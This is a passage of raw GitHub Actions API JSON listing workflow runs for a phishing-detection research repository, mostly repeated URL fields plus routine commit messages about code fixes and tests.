","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287089138,"node_id":"MDExOldvcmtmbG93UnVuMjg3MDg5MTM4","head_branch":"feature_fit","head_sha":"c430660e644246feec87a93fdaeec9cba3072050","run_number":274,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1284835013,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg0ODM1MDEz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287089138","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287089138","pull_requests":[],"created_at":"2020-10-03T22:14:24Z","updated_at":"2020-10-03T22:17:21Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287089138/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287089138/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1284835013","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287089138/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287089138/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287089138/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"c430660e644246feec87a93fdaeec9cba3072050","tree_id":"0526453dead39336a984c4f9272b2a838811c06f","message":"Fixed unbalanced-tuple-unpacking","timestamp":"2020-10-03T22:14:15Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287080098,"node_id":"MDExOldvcmtmbG93UnVuMjg3MDgwMDk4","head_branch":"feature_fit","head_sha":"bd349d6d72dc327b945f7e2eb86e2b8713a8bf1a","run_number":273,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1284818739,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg0ODE4NzM5","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287080098","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287080098","pull_requests":[],"created_at":"2020-10-03T22:05:27Z","updated_at":"2020-10-03T22:08:03Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287080098/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287080098/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1284818739","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287080098/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287080098/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287080098/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"bd349d6d72dc327b945f7e2eb86e2b8713a8bf1a","tree_id":"71ec76c9e7250a5de3c9330969e7512c953d548c","message":"Fixed get_config\n\n\nDebug website_tfidf test\n\n\nCleanup","timestamp":"2020-10-03T00:26:58Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":285058937,"node_id":"MDExOldvcmtmbG93UnVuMjg1MDU4OTM3","head_branch":"feature_fit","head_sha":"b20f3ce3b4e27f93e937440d29b03f580f700387","run_number":272,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1732356,"check_suite_id":1281296641,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjgxMjk2NjQx","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/285058937","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/285058937","pull_requests":[],"created_at":"2020-10-02T22:25:38Z","updated_at":"2020-10-02T22:29:02Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/285058937/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/285058937/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1281296641","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/285058937/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/285058937/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/285058937/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/1732356","head_commit":{"id":"b20f3ce3b4e27f93e937440d29b03f580f700387","tree_id":"63c0ff46a34f4f9e3480c02a6251bc41ddb55262","message":"Debug website_tfidf test","timestamp":"2020-10-02T22:25:28Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 